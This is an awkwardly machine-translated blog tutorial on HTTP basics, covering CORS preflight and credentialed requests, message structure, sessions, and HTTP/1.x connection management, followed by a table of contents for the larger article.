The browser detects that requests made from JavaScript need to be prechecked. From the above message, we can see that lines 1 to 12 send a “precheck request” using the OPTIONS method. OPTIONS are methods defined in HTTP/1.1 to get more information from the server. This method has no impact on server resources. The precheck request carries both of the following header fields:

Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
Copy the code

The header field access-Control-request-method tells the server that the actual Request will use the POST Method. The header field access-Control-request-HEADERS tells the server that the actual Request will carry two custom header fields: X-Pingother and Content-Type. The server then decides whether the actual request is allowed.

Actions 14 through 26 respond to precheck requests, indicating that the server will accept subsequent actual requests. Focus on lines 17 to 20:

Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Copy the code

The access-Control-allow-methods header field indicates that the server allows clients to initiate requests using POST, GET, and OPTIONS Methods. This field is similar to the HTTP/1.1 Allow: Response Header, but is used only in scenarios where access control is required.

Access-control-allow-headers indicates that the server allows the x-Pingother and Content-Type fields to be carried in the request. As with access-Control-allow-methods, access-Control-allow-headers is a comma-separated list of values.

Finally, the header field access-Control-max-age indicates that the response has a valid time of 86,400 seconds, or 24 hours. The browser does not have to make another precheck request for the same request during the valid time. Note that the browser itself maintains a maximum validity time, and if the value of this header field exceeds the maximum validity time, it will not take effect.

Precheck requests and redirects

Most browsers do not support redirection for prechecked requests. If a precheck request is redirected, the browser will report an error:

The request was redirected to ‘example.com/foo’, which is disallowed for cross-origin requests that require preflight

Request requires preflight, which is disallowed to follow cross-origin redirect

CORS initially required this behavior, but this requirement was abandoned in subsequent revisions.

Until the browser implementation catches up with the specification, there are two ways to avoid this error behavior:

Remove redirection of precheck requests on the server side;
Turn the actual request into a simple request.

If the above two methods are difficult to achieve, we still have other methods:

Make a simple request (using Response.url or xhr.responseURL) to determine what address a real prechecked request would return.
Send another request (true), used in the previous step by the Response. The url or XMLHttpRequest. ResponseURL get url.

However, this approach will not work if the request is prechecked because of the presence of an Authorization field. This can only be changed by the server.

Request with credentials

An interesting feature of XMLHttpRequest or Fetch with CORS is the ability to send identity credentials based on HTTP cookies and HTTP authentication information. In general, browsers do not send authentication information for cross-source XMLHttpRequest or Fetch requests. If you want to send credential information, you need to set some special flag bit for XMLHttpRequest.

In this case, one of the scripts in foo.example makes a GET request to bar.other and sets Cookies:

var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/credentialed-content/'; function callOtherDomain(){ if(invocation) { invocation.open('GET', url, true); invocation.withCredentials = true; invocation.onreadystatechange = handler; invocation.send(); }}Copy the code

Line 7 sets the withCredentials flag of XMLHttpRequest to true to send Cookies to the server. Because this is a simple GET request, the browser does not make a “precheck request” for it. However, if the response on the server side does not carry access-Control-allow-credentials: true, the browser will not return the response content to the sender of the request.The following is an example of the interaction between the client and server:

GET /resources/access-control-with-credentials/ HTTP/1.1 Host: bar.other user-agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; The rv: 1.9.1 b3pre) Gecko / 20081130 Minefield / 3.1 b3pre Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9 * / *; Q = 0.8 Accept - Language: en - us, en. Q = 0.5 Accept - Encoding: gzip, deflate the Connection: keep alive - Referer: http://foo.example/examples/credential.html Origin: http://foo.example Cookie: pageAccess=2 HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:34:52 GMT Server: Apache/2 Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 106 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain [text/plain payload]Copy the code

Even if the Cookie information is specified in line 10, if access-Control-allow-credentials: true is missing from the bar.other response (line 17), the response content is not returned to the originator of the request.

Requests with credentials and wildcards

For requests with credentials, the server must not set access-Control-allow-origin to *.

This is because the request header carries Cookie information, and if access-Control-Allow-Origin is set to *, the request will fail. Set access-Control-allow-Origin to foo.example, and the request will execute successfully.

In addition, the response header also carries the set-cookie field, which attempts to modify the Cookie. If the operation fails, an exception will be thrown.

Third party cookies

Note that cookies set in the CORS response apply to generic third-party cookie policies. In the example above, the page loads at foo.example, but the cookie in line 20 is sent by bar.other and will not be saved if the user sets his browser to reject all third-party cookies.

🏳️🌈 Field in the HTTP response header

This section lists the response header fields defined by the specification. In the previous section, we saw how these header fields would work in a real scenario.

Access-Control-Allow-Origin

The response header can contain an access-Control-allow-Origin field with the following syntax: access-Control-allow-Origin

Access-Control-Allow-Origin: <origin> | *
Copy the code

Where, the value of the Origin parameter specifies the outdomain URI that is allowed to access the resource. For requests that do not require credentials, the server can specify the value of this field as a wildcard, indicating that requests from all domains are allowed.

For example, the following field values will allow requests from Mozilla.com:

Access-Control-Allow-Origin: http://mozilla.com
Copy the code

If the server specifies a specific domain name instead of an “*”, the value of the Vary field in the response header must contain Origin. This tells the client that the server returns different content for different source sites.

Access-Control-Expose-Headers

The translator’s note: In cross-source access, the getResponseHeader() method of the XMLHttpRequest object takes only the most basic response headers, Cache-control, Content-language, Content-Type, Expires, last-Modified, Pragma. To access other headers, the server needs to set this response header.

The access-Control-expose-headers header lets the server whitelist Headers that are accessible to the browser, for example:

Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
Copy the code

This allows the browser to access the X-my-custom-header and x-another – custom-header response headers through the getResponseHeader.

Access-Control-Max-Age

The access-Control-max-age header specifies how long the results of a preflight request can be cached. See the Preflight example mentioned earlier in this article.

Access-Control-Max-Age: <delta-seconds>
Copy the code

The delta-seconds parameter indicates how many seconds the results of the Preflight request will be valid.

Access-Control-Allow-Credentials

The access-Control-allow-credentials header specifies whether the browser is allowed to read the response when the browser’s Credentials are set to true. When used in response to a Preflight predetection request, it specifies whether the actual request can use the credentials. Please note: Simple GET requests are not prechecked; If the response to such a request does not contain this field, the response is ignored and the browser does not return the content to the web page.

Access-Control-Allow-Credentials: true
Copy the code

Access-Control-Allow-Methods

The access-Control-allow-methods header field is used to precheck the response to the request. This specifies the HTTP methods allowed for the actual request.

Access-Control-Allow-Methods: <method>[, <method>] *Copy the code

Access-Control-Allow-Headers

The access-Control-allow-headers header field is used to pre-check the response to the request. This specifies the header field that is allowed in the actual request.

Access-Control-Allow-Headers: <field-name>[, <field-name>] *Copy the code

🏳️🌈 Field in the HTTP request header

This section lists the header fields that can be used to initiate cross-source requests. Note that these header fields do not need to be set manually. They are already set up when the developer uses the XMLHttpRequest object to make cross-source requests.

Origin

The Origin header field indicates the source of the precheck request or the actual request.

Origin: <origin>
Copy the code

The origin parameter takes the value of the source site URI. It does not contain any path information, just the server name.

Note: Sometimes it is useful to set the value of this field to an empty string, for example, when the source station is a data URL.

Note that the Origin header field is always sent in all Access Control requests.

Access-Control-Request-Method

The access-Control-request-Method header field is used to precheck the Request. It tells the server the HTTP method used for the actual request.

Access-Control-Request-Method: <method>
Copy the code

Access-Control-Request-Headers

The access-Control-request-HEADERS header field is used to pre-check the Request. This tells the server the header field carried by the actual request.

Access-Control-Request-Headers: <field-name>[, <field-name>] *Copy the code

🏳️🌈 Browser compatibility

IE 10 provides full support for the specification, but in earlier versions (8 and 9) the CORS mechanism was accomplished through the XDomainRequest object.

Firefox 3.5 introduced cross-source support for XMLHttpRequests and Web fonts (although the initial implementation was incomplete, this was improved in later versions); Firefox 7 introduced cross-source support for WebGL maps; Firefox 9 introduced cross-source support for drawImage.

🍊 HTTP message

HTTP messages are the way data is exchanged between the server and the client. There are two types of messages: requests — sent by clients to trigger an action on a server; Responses — responses from the server.

HTTP messages consist of multiple lines of text encoded in ASCII. In HTTP/1.1 and earlier versions, these messages were sent openly over a connection. In HTTP/2, messages that were once human-readable were split into multiple HTTP frames for optimization and performance improvements.

Web developers or webmasters rarely create these raw HTTP messages by hand themselves: by software, browsers, proxies, or servers. They serve HTTP messages through configuration files (for proxy servers or servers), apis (for browsers), or other interfaces.

The HTTP/2 binary framework mechanism is designed to be applied without changing any API or configuration files: it is largely transparent to the user.

HTTP requests and responses have a similar structure, consisting of the following parts

The starting line describes the request to be executed, or its corresponding status, success or failure. The starting line is always a single line.
An optional set of HTTP headers indicates the request or description message body.
A blank line indicates that all metadata about the request has been sent.
An optional body containing data related to the request, such as HTML form content, or a document related to the response. The size of the body is specified by the HTTP header of the starting line.

The starting line and the HTTP headers in the HTTP message are collectively referred to as the request headers, and the payload is referred to as the message body.

🏳 ️ 🌈 HTTP requests

The starting line

The HTTP request is made by the client and contains three elements of the start line for the server to perform the action: 1. An HTTP method, a verb (like GET, PUT, or POST), or a noun (like HEAD or OPTIONS) describing the action to perform. For example, GET gets resources, and POST sends data to the server (to create or create resources, or to produce temporary files to return).

2. Request target, usually a URL or an absolute path to a protocol, port, or domain name, usually characterized by the requested environment. The format of the request varies with different HTTP methods. It could be:

One absolute path, followed by ‘? ‘and the query string. This is the most common form, the original form (the original form), used by the GET, POST, HEAD, and OPTIONS methods.

PNG HTTP/1.0 HEAD /test.html? Query =alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0

A complete URL, called absolute form (absolute form), is used primarily when connecting to a proxy using the GET method.

The GET developer.mozilla.org/en-US/docs/… HTTP / 1.1

The authorization of a URL that consists of a domain name and an optional port prefixed with a ‘:’ is called the authority form. This is used when only CONNECT is used to establish an HTTP tunnel.

CONNECT to developer.mozilla.org: 80 HTTP / 1.1

The asterisk form (asterisk form), a simple asterisk (‘*’), is used with the OPTIONS method to represent the entire server.

The OPTIONS * HTTP / 1.1

3. HTTP Version: defines the structure of the destination packet as an indicator of the response version to the request.

Headers

HTTP Headers from the request follows the same basic structure as HTTP headers: a case-insensitive string followed by a colon (‘:’), and a structure that depends on the value of the header. The entire header (including the value) consists of a single line, which can be quite long.

There are many request headers available, which can be grouped into several groups:

General headers, such as Via, applies to the entire packet.
Request headers, such as user-agent or accept-type, are defined further (such as accept-language) or given a context (such as Referer). Or modify the request with a conditional restriction (such as if-None).
Entity Headers, such as Content-Length, applies to the body of the request. Obviously, if there is no body in the request, no such header file will be sent.

Body

The last part of the request is its body. Not all requests have a body: for example, resource requests, GET, HEAD, DELETE, and OPTIONS, usually do not require a body. Some requests send data to the server to update it: a common case is a POST request (containing HTML form data).

Bodies can be roughly divided into two categories:

Single-resource bodies, consisting of a Single file. The body Type is defined by two headers: content-type and Content-Length.
Multiple-resource bodies, consisting of Multiple body parts, each containing different bits of information. It is usually associated with HTML Forms.

🏳 ️ 🌈 HTTP response

The status line

The starting line of the HTTP response is called a status line and contains the following information:

Protocol version, usually HTTP/1.1.
Status code: indicates whether the request succeeded or failed. Common status codes are 200,404, or 302
Status text. A short, pure piece of information that helps people understand the HTTP message through a textual description of the status code.

A typical status line would look like this: HTTP/1.1 404 Not Found

Headers

The HTTP headers for the response follows the same structure as any other header: a case-insensitive string followed by a colon (‘:’), and a structure that depends on the value of the header type. The entire header, including its value, appears as a single line.

There are many response headers available, which can be grouped into several groups:

General headers, such as Via, applies to the entire packet.
Response Headers, such as Vary and Accept-ranges, provide other information about the server that does not match the status line.
Entity Headers, such as Content-Length, applies to the body of the request. Obviously, if there is no body in the request, no such header file will be sent.

Body

The final part of the response is the body. Not all responses have a body: Responses with a status code (such as 201 or 204) usually do not.

Bodies can be roughly divided into three categories:

Single-resource bodies, consisting of Single files of known length. The body Type is defined by two headers: content-type and Content-Length.
Single-resource bodies, consisting of Single files of unknown length, use chunk-encoding by setting transfer-Encoding to chunked.
Multiple-resource bodies, consisting of Multiple body parts, each containing different information segments. But this is relatively rare.

🏳 ️ 🌈 HTTP / 2 frames

HTTP/1.x packets have some performance disadvantages:

The Header, unlike the body, is not compressed.
The headers between two messages are usually very similar, but they are still transmitted repeatedly over the connection.
Unable to reuse. When opening several connections on the same server: TCP hot connections are more efficient than cold ones.

HTTP/2 introduces an additional step: it breaks HTTP/1.x messages into frames and embeds them into streams. Data frames are separated from header frames, which allows header compression. Combining multiple streams, a process called multiplexing, allows for more efficient underlying TCP connections.

HTTP frames are now transparent to Web developers. In HTTP/2, this is an additional step between HTTP/1.1 and the underlying transport protocol.
Web developers do not need to make any changes in the apis they use to take advantage of HTTP frames; When both the browser and server are available, HTTP/2 is opened and used.

🥭 Typical HTTP session

In a client-server protocol like HTTP, the session is divided into three phases:

The client establishes a TCP connection (or some other suitable connection if the transport layer is not TCP).
The client sends the request and waits for the reply.
The server processes the request and sends back the response, which contains a status code and corresponding data.

Starting with HTTP/1.1, connections are no longer closed after phase 3, and clients can make new requests again. This means that steps two and three can be done several times in a row.

🏳️🌈 Establish a connection

In the client-server protocol, the connection is initiated by the client. Opening a connection in HTTP means initiating the connection at the underlying transport layer, usually TCP.

When using TCP, the default port number for the HTTP server is 80, but 8000 and 8080 are also common. The URL of the page contains the domain name and port number. If the port number is 80, you can omit it.

Note: The client-server model does not allow the server to send data to the client without an explicit request. To solve this problem, Web developers use a number of techniques: for example, periodically requesting a server using the XMLHTTPRequest or Fetch (en-US) API, using the HTML WebSockets API, or other similar protocols.

🏳️🌈 Sends a client request

Once the connection is established, the user agent (usually a Web browser, but also something else (such as a crawler) can send the request. The client request consists of a series of text instructions separated by CRLF and divided into three blocks: 1. The first line contains the request method and request parameters:

Document path, not including protocol and domain name absolute path URL
Indicates the HTTP protocol version

2. Each of the following lines represents an HTTP header that provides the server with information about the data it needs (such as the language, or MIME type) or something that changes the behavior of the request (such as not answering the data when it has already been cached). These HTTP headers form a block that ends with a blank line.

3. The last block is the optional block, which contains more data and is mainly used by the POST method.

Sample request

Go to the root page of developer.mozilla.org, i.e. Developer.mozilla.org/, and tell the server user agent…

GET/HTTP/1.1 Host: developer.mozilla.org Accept-Language: frCopy the code

Note the blank line at the end, which separates the header from the block. Since there is no Content-Length in the HTTP header, the data block is empty, so the server can start processing the request as soon as it receives an empty line representing the end of the header.

For example, the result of sending a form:

POST /contact_form. PHP HTTP/1.1 Host: developer.mozilla.org Content-length: 64 content-type: application/x-www-form-urlencoded name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogueCopy the code

Request method

HTTP defines a set of request methods that specify behavior toward a target resource. They are generally nouns, but these request methods are sometimes called HTTP verbs. The most common request methods are GET and POST:

The GET method requests the specified resource. GET requests should only be used to GET data.
The POST method sends data to the server, thus changing the state of the server. This method is often used in HTML forms.

🏳️🌈 Server response structure

When a request is received from the user agent, the Web server processes it and eventually sends back a response. Much like the client request, the server response consists of a series of text instructions, separated by CRLF, which are divided into three distinct blocks:

The first line is the status line, which includes the HTTP protocol version used, the status code, and a status description (readable description text).
Each of the following lines represents an HTTP header that provides the client with some information about the data being sent (such as type, data size, compression algorithm used, cache instructions). Similar to the header block of a client request, these HTTP headers form a block and end with a blank line.
The last piece is the data block, which contains the data (if any) for the response.

In response to the sample

Successful page response:

HTTP/1.1 200 OK
Date: Sat, 09 Oct 2010 14:28:02 GMT
Server: Apache
Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
ETag: "51142bc1-7449-479b075b2891b"
Accept-Ranges: bytes
Content-Length: 29769
Content-Type: text/html

<! DOCTYPEhtml. (Here is a 29769 byte web pageHTMLThe source code)Copy the code

Request page response for resource that has been permanently moved:

HTTP/1.1 301 Moved Permanently Server: Apache/2.2.3 (Red Hat) Content-type: text/ HTML; charset=iso-8859-1 Date: Sat, 09 Oct 2010 14:30:24 GMT Location: https://developer.mozilla.org/ (expect the new address, server that the target customer proxy to access it) Keep - the Alive: timeout = 15, Max = 98 Accept - Ranges: bytes Via: Moz-Cache-zlb05 Connection: Keep-Alive X-Cache-Info: caching X-Cache-Info: caching Content-Length: 325 (display a default page if the user agent cannot go to the new address)<! DOCTYPEHTML PUBLIC "- / / IETF / / DTD HTML 2.0 / / EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://developer.mozilla.org/">here</a>.</p>
<hr>
<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address>
</body></html>

Copy the code

Request web page response where resource does not exist:

HTTP/1.1 404 Not Found Date: Sat, 09 Oct 2010 14:33:02 GMT Server: Apache Last-Modified: Tue, 01 May 2007 14:24:39 GMT ETag: "499fd34e-29ec-42f695ca96761; 48fe7523cfcc1" Accept-Ranges: bytes Content-Length: 10732 Content-Type: text/html<! DOCTYPEhtml. (Includes a site custom 404 page to help users find lost resources)Copy the code

Response status code

The HTTP response status code is used to indicate whether an HTTP request completed successfully. Responses are divided into five types: informational response, success response, redirection, client error, and server error.

200: OK. The request succeeded.
301: Moved Permanently. The URI of the requested resource has been changed.
404: Not Found. The server could Not find the requested resource.

🥑HTTP/1.x connection management

Connection management is a key topic of HTTP: opening and maintaining connections greatly affects the performance of websites and Web applications. There are several models in HTTP/1.x: short connections, long connections, and HTTP pipelining.
The HTTP transport protocol relies on TCP to provide a connection from the client to the server. In its early days, HTTP used a simple model to handle such connections. The life cycle of these connections is short: a new connection is created with each request and closed immediately upon receipt of the reply.
This simple model has inherent performance limitations: opening each TCP connection is a very resource-intensive operation. Several messages need to be exchanged between the client and server. When a request is initiated, both network latency and bandwidth impact performance. Modern browsers often make many requests (a dozen or more) to get the full information they need, demonstrating the inefficiency of this earlier model.
Two new models were created in HTTP/1.1. The first is the long-connection model, which holds the connection to complete multiple consecutive requests, reducing the time it takes to constantly reopen the connection. Then there is the HTTP pipelining model, which is even more advanced, where multiple consecutive requests can be sent without even waiting for an immediate return, thus reducing the time spent on network latency.

Additional connection management models were added to HTTP/2.

One important thing to note is that HTTP connection management applies to connections between two consecutive nodes, such as hop-by-hop, not end-to-end. The effect may be different when the model is used for connections from the client to the first proxy server and from the proxy server to the target server (or any intermediate proxy). HTTP headers are affected by different Connection models, such as Connection and keep-alive, hop-by-hop headers, whose values can be modified by intermediate nodes.
A related topic is HTTP connection upgrading, where an HTTP/1.1 connection is upgraded to a different protocol, such as TLS/1.0, Websocket, or even HTTP/2 in plaintext.

🏳 ️ 🌈 short connection

The earliest model of HTTP, and the default model for HTTP/1.0, was short connections. Each HTTP request is completed by its own independent connection; This means that every HTTP request is preceded by a TCP handshake, which is continuous.
The TCP handshake itself is time consuming, so TCP can hold more hot connections to accommodate the load. Short connections break TCP’s capabilities, and new cold connections degrade its performance.
This is the default model for HTTP/1.0 (if the Connection protocol header is not specified, or the value is set to close). In HTTP/1.1, this model is used only when Connection is set to close.

There is no compelling reason to continue using this model unless it is compatible with a very old system that does not support long connections.

🏳 ️ 🌈 long connection

Short connections have two major problems: the time it takes to create a new connection is particularly significant, and the performance of TCP connections only improves after the connection has been in use for some time (hot connections). To alleviate these problems, the concept of long connections was designed, even before HTTP/1.1. Or this is called a keep-alive connection.
A long connection is maintained for a period of time and is repeatedly used to send a series of requests. This saves the time of creating a TCP connection handshake and takes advantage of TCP performance enhancement. Of course, the connection does not stay open: the connection is closed after being idle for some time (the server can specify a minimum connection hold time using the keep-alive header).
There are also disadvantages to long connections; Even when idle, it consumes server resources and can be subject to DoS attacks when under heavy load. In this scenario, non-long connections can be used to close those idle connections as soon as possible to improve performance
HTTP/1.0 does not use long connections by default. Setting Connection to anything other than close will keep it long, usually to retry-after.
In HTTP/1.1, the default is long connections, and the protocol header doesn’t have to declare it anymore (but we’ll add it anyway, in case we have to revert back to HTTP/1.0 for some reason).

🏳 ️ 🌈 HTTP pipelining

HTTP pipelining is not enabled by default in modern browsers:

Web developers can’t easily see and judge the antics of wacky proxy servers.
Implementing pipelining correctly is complex: the size of the resources in transit, how much effective RTT will be used, the available bandwidth, and the scope of the improvements pipelining will bring. Without this knowledge, important messages may be delayed to less important ones. This concept of importance can even affect page layout! As a result, HTTP pipelining in most cases does not bring significant improvements.
The pipeline is subject to the HOL problem.

By default, HTTP requests are made sequentially. The next request will not be sent until the current request has been answered. Due to network latency and bandwidth constraints, it can take a long time before the next request is sent to the server.

Pipelining is the process of making successive requests over the same long connection without waiting for a response to return. This avoids connection delays. Theoretically, performance could also be improved by the possibility of two HTTP requests being packaged into a single TCP message packet. Even if HTTP requests continue to increase in Size, setting TCP’s MSS(Maximum Segment Size) option is still sufficient to contain a series of simple requests.

Not all types of HTTP requests can be pipelined: only idempotent modes, such as GET, HEAD, PUT, and DELETE, can be safely retried: pipelined contents must be easily retried if a failure occurs.

Today, all HTTP/ 1.1-compliant proxies and servers should support pipelining, although in practice there are many limitations: not least because no modern browser currently has this feature enabled by default.

🏳️🌈 Domain name fragments

Unless you have an urgent and pressing need, don’t use this outdated technology and just upgrade to HTTP/2. In HTTP/2, domain sharding is unnecessary: HTTP/2 connections handle concurrent non-priority requests very well. Domain name sharding can even affect performance. Most HTTP/2 implementations also attempt to merge sharded domain names using a technique called connection aggregation.

As HTTP/1.x connections, requests are serialized, and even if they are unordered, they cannot be optimized without a large enough amount of bandwidth available. One solution is for browsers to establish multiple connections per domain name to enable concurrent requests. Once the default number of connections was 2 or 3, the more common number of concurrent connections has been increased to 6. If you try to be larger than this number, you run the risk of triggering the SERVER’s DoS protection.
If the server wants to respond more quickly to web site or application replies, it can force the client to make more connections. For example, instead of getting all resources under the same domain name, let’s say we have a domain name www.example.com, we can split it into several domains: www1.example.com, www2.example.com, www3.example.com. All these domains point to the same server, and the browser makes six connections for each domain at the same time (in our case, 18 connections). This technique is called domain sharding.

💬 summary

This article mainly introduces some basic knowledge of HTTP, carefully read this article will have a whole new system of HTTP cognition

Maybe not deep enough, but for most people, the basics are enough

At least when it comes to web literacy, we don’t need HTTP at all.

Part of the content of the article is also referred to some online information, after all, their code word sorting so much content is not realistic

The main hope is that you can have a clear understanding of HTTP from this article, learning first!!

That article is introduced here, remember to collect oh, or next time I can not find the ~ remember to like the collection of three pieces ha ha

Thirty thousand words HTTP necessary dry goods learning, programmers do not understand how the network line, a HTTP entry not collection are a pity!

📢 preface

🎬 sixty thousand words HTTP necessary dry goods learning, programmers do not understand how the network line, a HTTP entry not collection are a pity!

🍇 Network structure diagram

🍓 HTTP overview

🏳️🌈 Components of an HTTP-based system

Client: user agent

Web server

The agent

🏳️🌈 Basic aspects of HTTP

HTTP is simple

HTTP is extensible

HTTP is stateless, but not session-free

HTTP and connection

🏳️🌈 What can HTTP control

🏳 ️ 🌈 HTTP flows

🏳 ️ 🌈 HTTP message

request

The response

🏳️🌈 Http-based API

The evolution of the 🍉 HTTP

🏳️🌈 Invention of the World Wide Web

🏳️🌈HTTP/0.9 – Single-line protocol

🏳️🌈HTTP/1.0 — Build scalability

🏳️🌈HTTP/1.1 – Modular protocol

🏳️🌈 over 21 years of expansion

HTTP is used for secure transport

HTTP is used for complex applications

Relax the Web’s security model

🏳️🌈HTTP/2 – For better performance

🏳️🌈 after HTTP/2 evolution

🍒 HTTP cache

🏳️🌈 Different kinds of caches

(Private) browser cache

(Shared) proxy cache

🏳️🌈 Target of the cache operation

🏳️🌈 Cache control

The cache-control header

Pragma header

🏳 ️ 🌈 freshness

To improve the resources

🏳️🌈 Cache verification

ETags

🏳 ️ 🌈 than the response

🍑 HTTP cookies

Create a Cookie 🏳 ️ 🌈

Set-cookie response headers and Cookie request headers

Define the Cookie lifecycle

Restricting access to cookies

Cookie scope

Domain properties

Path properties

SameSite attribute

Cookie prefixes

JavaScript accesses cookies through document.cookie

🏳 ️ 🌈 security

Session hijacking and XSS

Cross-site Request Forgery (CSRF)

🏳️🌈 Tracking and privacy

Third party cookies

Cookie related Provisions

Do Not Track

Eu Cookie Directive

Zombie cookies and undeleted cookies

🥝 cookies,

What is a Cookie?

Use JavaScript to create cookies

Use JavaScript to read cookies

Use JavaScript to modify cookies

Use JavaScript to delete cookies

The Cookie string

JavaScript Cookie instance

A function that sets the cookie value

A function that gets the cookie value

A complete instance

🍍 document. cookie uses documents + run instances

grammar

The sample

Example 1: Simple usage

Example 2: Get a cookie named test2